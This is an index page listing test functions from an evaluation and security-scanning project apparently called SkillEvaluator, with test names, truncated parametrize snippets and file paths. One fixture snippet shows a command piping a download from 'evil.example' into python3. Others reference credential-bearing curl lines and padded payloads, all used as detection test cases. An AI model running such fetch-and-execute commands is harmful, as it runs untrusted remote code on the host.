MCPcopy Create free account

hub / github.com/NVIDIA/SkillEvaluator / endpoints

Endpoints703 in github.com/NVIDIA/SkillEvaluator

Routetest_llm_enrichment_requires_semantic_analyzer_evidence
patch("skillevaluator.validators.security.Tools")
tests/validators/test_security.py:None
Routetest_llm_error_is_incomplete_without_skill_finding
patch("skillevaluator.deduplication.intra_skill.intra_skill_validator.analyze_cluster")
tests/deduplication/intra_skill/test_intra_skill_validator.py:None
Routetest_llm_initialization_error_preserves_collection_evidence
patch("skillevaluator.deduplication.intra_skill.intra_skill_validator.LLMClient")
tests/deduplication/intra_skill/test_intra_skill_validator.py:None
Routetest_llm_refusal_beside_a_duplicate_keeps_the_duplicate_blocking
patch("skillevaluator.deduplication.intra_skill.intra_skill_validator.analyze_cluster")
tests/deduplication/intra_skill/test_intra_skill_validator.py:None
Routetest_llm_refusal_beside_a_failed_cluster_keeps_the_scan_incomplete
patch("skillevaluator.deduplication.intra_skill.intra_skill_validator.analyze_cluster")
tests/deduplication/intra_skill/test_intra_skill_validator.py:None
Routetest_llm_refusal_is_an_advisory_finding
patch("skillevaluator.deduplication.intra_skill.intra_skill_validator.analyze_cluster")
tests/deduplication/intra_skill/test_intra_skill_validator.py:None
Routetest_llm_review_limits_are_incomplete_before_llm_analysis
patch("skillevaluator.deduplication.intra_skill.intra_skill_validator.LLMClient")
tests/deduplication/intra_skill/test_intra_skill_validator.py:None
Routetest_llm_stage_counts_each_reference_once
patch("skillevaluator.validators.security.Tools")
tests/validators/test_skillspector_reference_diagnostics.py:None
Routetest_llm_stage_keeps_the_static_applicability_block
patch("skillevaluator.validators.security.Tools")
tests/validators/test_security.py:None
Routetest_llm_verification_cannot_downgrade_the_hook_critical
patch("skillevaluator.validators.security.Tools")
tests/validators/test_skillspector_hook_surface.py:None
Routetest_llm_verify_downgrade_drops_the_stale_baseline_blocker_error
patch("skillevaluator.validators.security.Tools")
tests/validators/test_security.py:None
Routetest_llm_verify_downgrade_keeps_the_messages_no_finding_repeats
pytest.mark.parametrize("target", ["skill", "folder"])
tests/validators/test_security.py:None
Routetest_load_evals_config_reads_config_through_links_in_the_skill_path
pytest.mark.parametrize( ("link_target", "skill_path"), [ pytest.param("real", "link", id="sym
tests/tier3/test_evals_config.py:None
Routetest_loader_reads_frontmatter_as_selection_does
pytest.mark.parametrize( ("changed", "frontmatter", "match"), [ pytest.param("target", "name:
tests/tier3/test_decoys.py:None
Routetest_lone_call_with_a_plain_text_result_keeps_the_whole_output
pytest.mark.parametrize( ("source", "body"), [ ('const r=await tools.exec_command({cmd:"pwd"})
tests/tier3/test_codex_tool_call_normalization.py:None
Routetest_lone_call_with_an_incomplete_record_stays_unsupported
pytest.mark.parametrize( "body", [ '{"exit_code":1,"output":"' + "x" * 300, '{"exit_co
tests/tier3/test_codex_tool_call_normalization.py:None
Routetest_lone_skill_file
patch("skillevaluator.validators.security.Tools")
tests/validators/test_security.py:None
Routetest_lone_skill_file_naming_a_file_beside_it_stays_incomplete
patch("skillevaluator.validators.security.Tools")
tests/validators/test_security.py:None
Routetest_lone_skill_file_passes_when_its_lines_name_nothing_beside_it
patch("skillevaluator.validators.security.Tools")
tests/validators/test_security.py:None
Routetest_losing_a_push_race_to_the_same_attempt_never_comments_before_a_deploy
pytest.mark.parametrize( ("event", "attempt", "deploys"), [("workflow_run", "1", False), ("workflow_di
tests/ci/test_publisher_workflow.py:None
Routetest_low_caveats_report_keeps_a_safe_recommendation
patch("skillevaluator.validators.security.Tools")
tests/validators/test_security.py:None
Routetest_malformed_catalog_is_an_actionable_failure
patch("skillevaluator.validators.similarity.EmbeddingRegistry")
tests/validators/test_similarity.py:None
Routetest_malformed_patch_input_degrades_without_raising_or_fabricating_a_path
pytest.mark.parametrize( "args", [ pytest.param({"input": "this is not a patch at all, just so
tests/tier3/test_behavior_evidence.py:None
Routetest_malformed_reply_field_is_incomplete_whatever_the_verdict
patch("skillevaluator.deduplication.intra_skill.intra_skill_validator.LLMClient")
tests/deduplication/intra_skill/test_intra_skill_validator.py:None
Routetest_manifest_file_input_is_rejected
patch("skillevaluator.validators.similarity.EmbeddingRegistry")
tests/validators/test_similarity.py:None
Routetest_manifests_skillspector_did_not_fully_read_stay_incomplete
patch("skillevaluator.validators.security.Tools")
tests/validators/test_skillspector_hook_surface.py:None
Routetest_markdown_label_and_shell_prompt_are_not_wildcards
pytest.mark.parametrize( ("line", "complete"), [ # A bold or italic label is Markd
tests/validators/test_security.py:None
Routetest_masked_values_carry_no_digest
pytest.mark.parametrize( ("content", "check"), [ pytest.param( "Connect with postg
tests/validators/test_pii_waivers.py:None
Routetest_mcp_calls_rooted_at_filesystem_root_are_wasted
pytest.mark.parametrize( ("call", "kind"), [ (_call("mcp__filesystem__search_files", path="/",
tests/tier3/test_tool_productivity.py:None
Routetest_mcp_path_root_of_other_servers_is_productive
pytest.mark.parametrize( "call", [ _call("mcp__github__get_file_contents", owner="o", repo="r"
tests/tier3/test_tool_productivity.py:None
Routetest_mcp_write_tools_without_a_path_key_still_write_the_artifact
pytest.mark.parametrize( ("agent", "fn", "key"), [ ("claude-code", "mcp__fs__write
tests/tier3/test_plugin_signals.py:None
Routetest_message_rejects_schema_option_recognizes_unavailable
pytest.mark.parametrize( ("message", "param", "expected"), [ # DeepSeek rejects response_forma
tests/test_llm_judge.py:None
Routetest_migration_preserves_every_authored_field_and_ids
pytest.mark.parametrize("output_suffix", [".json", ".yaml", ".yml"])
tests/tier3/test_dataset_migration.py:None
Routetest_mismatched_or_unverified_version_runs_pinned_wheel
pytest.mark.parametrize( ("version_output", "version_exit"), [ ("SkillSpector v2.1
tests/utils/test_tool_runner.py:None
Routetest_missing_api_key_during_build
patch("skillevaluator.validators.similarity.EmbeddingRegistry")
tests/validators/test_similarity.py:None
Routetest_missing_canonical_run_provenance_remains_incomplete
pytest.mark.parametrize( "key", ["dataset_digest", "dataset_digest_algorithm", "publication_target", "run_
tests/ci/test_tier3_execution_complete.py:None
Routetest_missing_catalog_fails_closed
patch("skillevaluator.validators.similarity.EmbeddingRegistry")
tests/validators/test_similarity.py:None
Routetest_missing_reference_completes_the_llm_stage
patch("skillevaluator.validators.security.Tools")
tests/validators/test_security.py:None
Routetest_missing_reference_completes_the_scan
patch("skillevaluator.validators.security.Tools")
tests/validators/test_security.py:None
Routetest_missing_reference_requires_complete_report_evidence
patch("skillevaluator.validators.security.Tools")
tests/validators/test_security.py:None
Routetest_missing_reference_with_a_referenced_image
patch("skillevaluator.validators.security.Tools")
tests/validators/test_security.py:None
Routetest_missing_skillspector_baseline_blocks_the_scan
patch("skillevaluator.validators.security.Tools")
tests/validators/test_security.py:None
Routetest_more_credential_forms_are_masked
pytest.mark.parametrize( ("text", "expected"), [ pytest.param( f"curl -su {_ADMIN_
tests/tier3/test_security_finding_evidence.py:None
Routetest_multiline_script_with_a_stray_quote_still_credits_the_read
pytest.mark.parametrize( "command", [ # The apostrophe sits in a here-document bod
tests/tier3/test_plugin_signals.py:None
Routetest_multiple_matches_all_recorded
patch("skillevaluator.validators.similarity.EmbeddingRegistry")
tests/validators/test_similarity.py:None
Routetest_names_git_writes_do_not_block_a_reference
patch("skillevaluator.validators.security.Tools")
tests/validators/test_security.py:None
Routetest_namespaced_codex_tools_are_classified_by_their_name
pytest.mark.parametrize( ("call", "kind"), [ (_call("functions.apply_patch", input="*** Begin
tests/tier3/test_tool_productivity.py:None
Routetest_native_baseline_rejects_every_configured_step_workdir_projection
pytest.mark.parametrize( "overlay_relative", [Path("setup.sh"), Path(".agents/skills/renamed-target/SK
tests/test_harbor_runtime_skill_isolation.py:None
Routetest_native_bootstrap_avoids_system_node_and_keeps_vendor_installer
pytest.mark.parametrize("manager", ["apt-get", "dnf"])
tests/tier3/test_installed_agent_bootstrap.py:None
Routetest_native_codex_exec_keeps_unsupported_wrappers_atomic
pytest.mark.parametrize( "source", [ "const result = await tools.exec_command(argumentsFromRun
tests/tier3/test_codex_tool_call_normalization.py:None
Routetest_native_codex_exec_parser_limits_fail_closed
pytest.mark.parametrize( "source", [ pytest.param( "const r = await tools.exec_com
tests/tier3/test_codex_tool_call_normalization.py:None
Routetest_native_searches_rooted_at_filesystem_root_are_wasted
pytest.mark.parametrize( "call", [ _call("Glob", pattern="**/SKILL.md", path="/"), _ca
tests/tier3/test_tool_productivity.py:None
Routetest_native_tasks_reject_runtime_projection_bypasses
pytest.mark.parametrize( ("environment_toml", "message"), [ ('[environment.env]\nHOME = "/runt
tests/test_harbor_runtime_skill_isolation.py:None
Routetest_navigation_links_trigger_link_findings
pytest.mark.parametrize( "content_template", [ "[outer [inner]]({target})",
tests/validators/test_quality_score.py:None
Routetest_near_misses_stay_incomplete
patch("skillevaluator.validators.security.Tools")
tests/validators/test_security.py:None
Routetest_negative_case_requires_exact_target_reference
pytest.mark.parametrize( ("tool_calls", "skill_tool_names", "expected_passed"), [ ([], ["demo"
tests/tier3/test_negative_control_invocation_evidence.py:None
Routetest_network_policy_blocks_metadata_accepts_valid_and_rejects_weakened_rules
pytest.mark.parametrize( ("mutate_policy", "expected_valid"), [ # 1. Default two-rule policy (
tests/test_harbor_gke_environment.py:None
Routetest_no_change_requires_consistent_selection_evidence
pytest.mark.parametrize( "change", [ {"mode": "all"}, {"head": "main"}, {"sele
tests/ci/test_publish_reports.py:None
Routetest_no_clusters_above_threshold_passes
patch("skillevaluator.deduplication.intra_skill.intra_skill_validator.LLMClient")
tests/deduplication/intra_skill/test_intra_skill_validator.py:None
Routetest_non_execution_text_does_not_withdraw_cleanup_exemption
pytest.mark.parametrize( "earlier_call", [ {"action": "Read", "action_input": {"raw": "ln -s /
tests/tier3/test_destructive_command_paths.py:None
Routetest_non_navigation_markdown_does_not_trigger_link_findings
pytest.mark.parametrize( "content_template", [ "`[example]({target})`",
tests/validators/test_quality_score.py:None
Routetest_noncanonical_raw_url_is_not_classified_as_native_openai
pytest.mark.parametrize( "base_url", [ pytest.param(f" {OPENAI_BASE_URL}", id="lea
tests/inference/test_llm_client.py:None
Routetest_nonfatal_exclusion_must_name_an_actual_unscanned_entry
patch("skillevaluator.validators.security.Tools")
tests/validators/test_security.py:None
Routetest_nonfinite_provider_vector_fails_closed_before_clustering
patch("skillevaluator.deduplication.intra_skill.intra_skill_validator.LLMClient")
tests/deduplication/intra_skill/test_intra_skill_validator.py:None
Routetest_nonlocal_and_parent_skill_links_are_not_nested_references
pytest.mark.parametrize( "target", [ "..%5CSKILL.md", "%2F%2Fserver%2F
tests/validators/test_quality_score.py:None
Routetest_nonlocal_readme_links_do_not_trigger_reference_finding
pytest.mark.parametrize( "target", [ "https://example.com/README.md",
tests/validators/test_quality_score.py:None
Routetest_noop_requires_complete_consistent_selection_evidence
pytest.mark.parametrize( "mutate", [ lambda value: value.update(overall_passed=True),
tests/ci/test_report_views.py:None
Routetest_once_decoded_local_paths_preserve_legacy_quality_score
pytest.mark.parametrize( "target", [ "./foo%3Abar.md", "dir/../foo%3Ab
tests/validators/test_quality_score.py:None
Routetest_one_budget_serves_every_line_of_a_report
patch("skillevaluator.validators.security.Tools")
tests/validators/test_security.py:None
Routetest_one_prompt_budget_sets_sharing_and_refusal
patch("skillevaluator.deduplication.intra_skill.intra_skill_validator.analyze_cluster")
tests/deduplication/intra_skill/test_intra_skill_validator.py:None
Routetest_one_skill_fails_before_embedding_with_intra_skill_guidance
patch("skillevaluator.validators.similarity.EmbeddingClient")
tests/validators/test_similarity.py:None
Routetest_only_budget_or_legacy_omissions_reduce_expected_attempts
pytest.mark.parametrize("reason", ["execution_failed", "budget_exhausted", None])
tests/tier3/test_budget_denied_arms.py:None
Routetest_opencode_passing_test_output_is_not_failure
pytest.mark.parametrize( "output", [ "..\n2 passed in 0.02s\n", "Tests: 0 failed
tests/tier3/test_error_recovery.py:None
Routetest_operandless_xargs_survives_unrelated_syntax_and_parser_limits
pytest.mark.parametrize( "prefix", [ "DIR=$(pwd)\n# wipe the generated files\n", "IFS=
tests/tier3/test_destructive_command_paths.py:None
Routetest_other_local_markdown_paths_remain_nested_references
pytest.mark.parametrize( "target", [ "../other.md", "nested/SKILL.md",
tests/validators/test_quality_score.py:None
Routetest_out_of_range_confidence_is_incomplete_without_skill_finding
patch("skillevaluator.deduplication.intra_skill.intra_skill_validator.LLMClient")
tests/deduplication/intra_skill/test_intra_skill_validator.py:None
Routetest_output_cannot_replace_or_mutate_catalog_inputs
pytest.mark.parametrize("destination", ["catalog.json", "skills/target/SKILL.md", "skills/neighbor/new.json"])
tests/tier3/test_decoy_commands.py:None
Routetest_parallel_subagents_are_credited_by_their_agent_id
pytest.mark.parametrize("together", [True, False], ids=["one-step", "back-to-back"])
tests/tier3/test_f90_signals_handoff.py:None
Routetest_parse_limit_row_on_the_manifest_stays_incomplete
patch("skillevaluator.validators.security.Tools")
tests/validators/test_skillspector_hook_surface.py:None
Routetest_partial_baseline_only_or_contradictory_execution_remains_incomplete
pytest.mark.parametrize( "mutate", [ lambda p: p["tier3"]["agents"]["fixture-agent"]["conditio
tests/ci/test_tier3_execution_complete.py:None
Routetest_partial_llm_failure_preserves_valid_duplicate_finding
patch("skillevaluator.deduplication.intra_skill.intra_skill_validator.analyze_cluster")
tests/deduplication/intra_skill/test_intra_skill_validator.py:None
Routetest_partly_parsed_manifests_without_record_counts_get_the_critical
patch("skillevaluator.validators.security.Tools")
tests/validators/test_skillspector_hook_surface.py:None
Routetest_patch_text_is_not_read_as_a_command
pytest.mark.parametrize("action", ["apply_patch", "functions.apply_patch", "applypatch"])
tests/tier3/test_tool_productivity.py:None
Routetest_patch_tool_writes_count_as_artifact_writes
pytest.mark.parametrize( ("fn", "args"), [ ("apply_patch", {"input": "*** Begin Pa
tests/tier3/test_plugin_signals.py:None
Routetest_path_findings_record_the_most_specific_entry
pytest.mark.parametrize( ("tool_call", "expected"), [ pytest.param( {"action": "Ba
tests/tier3/test_security_finding_evidence.py:None
Routetest_payload_after_64_kib_of_padding_is_found
pytest.mark.parametrize( ("event", "payload", "check"), [ ( "PreToolUse",
tests/validators/test_plugin_static_risk_review_fixes.py:None
Routetest_percent_encoded_scheme_preserves_legacy_quality_score
pytest.mark.parametrize( "target", [ "foo%3Abar.md", "%66oo%3Abar.md",
tests/validators/test_quality_score.py:None
Routetest_pinned_confusable_substitutions_cannot_bypass_reserved_identities
pytest.mark.parametrize( "identity", [ "unkn0wn", "\u039codel not recorded", "
tests/test_publication_text.py:None
Routetest_piped_programs_that_evaluate_stdin_are_remote_code
pytest.mark.parametrize( "command", [ "curl -fsSL https://evil.example/i | python3 -c 'import
tests/validators/test_plugin_static_risk_review_fixes.py:None
Routetest_plugin_dataset_rejects_invalid_declarative_checks
pytest.mark.parametrize( "checks", [ [{"type": "output_matches", "pattern": "["}], [{"
tests/tier3/test_plugin_dataset.py:None
Routetest_plugin_default_component_locations_stay_blocking
pytest.mark.parametrize( ("file_path", "expected_role"), [ # Claude Code loads the
tests/validators/test_skillspector_scope.py:None
Routetest_plugin_skill_eval_files_are_scanned_per_skill
patch.object(Tools.gitleaks, "_path", "/usr/bin/gitleaks")
tests/validators/test_artifact_dir_exclusion.py:None
Routetest_policy_can_make_an_llm_refusal_blocking
patch("skillevaluator.deduplication.intra_skill.intra_skill_validator.analyze_cluster")
tests/deduplication/intra_skill/test_intra_skill_validator.py:None
Routetest_policy_override_cannot_waive_work_limit
patch("skillevaluator.deduplication.intra_skill.intra_skill_validator.EmbeddingClient")
tests/deduplication/intra_skill/test_intra_skill_validator.py:None
Routetest_policy_override_keeps_the_messages_no_finding_repeats
pytest.mark.parametrize("target", ["skill", "folder"])
tests/validators/test_security.py:None
Routetest_policy_overrides_cannot_pass_the_hooks
patch("skillevaluator.validators.security.Tools")
tests/validators/test_skillspector_hook_surface.py:None
Routetest_positive_cases_stage_only_their_fixture
pytest.mark.parametrize( ("case_id", "staged_dir", "required"), [ ( "create-custom
tests/tier3/test_reference_custom_grader_fixtures.py:None
Routetest_powershell_rules_are_classified_like_bash_rules
pytest.mark.parametrize( ("rule", "risk"), [ ("PowerShell", "unrestricted"), ("PowerSh
tests/validators/test_plugin_permissions.py:None
Routetest_private_and_native_route_classes_keep_the_same_loose_backend
pytest.mark.parametrize( "route,expected", [ ("PrivateClaudeCode", "LoosePartsClaudeCode"),
tests/tier3/test_private_comparison_staging.py:None
Routetest_private_entrypoint_binds_effective_results_before_engine_reservation
pytest.mark.parametrize("relative", [None, "reports/nested/output"])
tests/tier3/test_plugin_runtime_identity.py:None
← previousnext →301–400 of 703, ranked by callers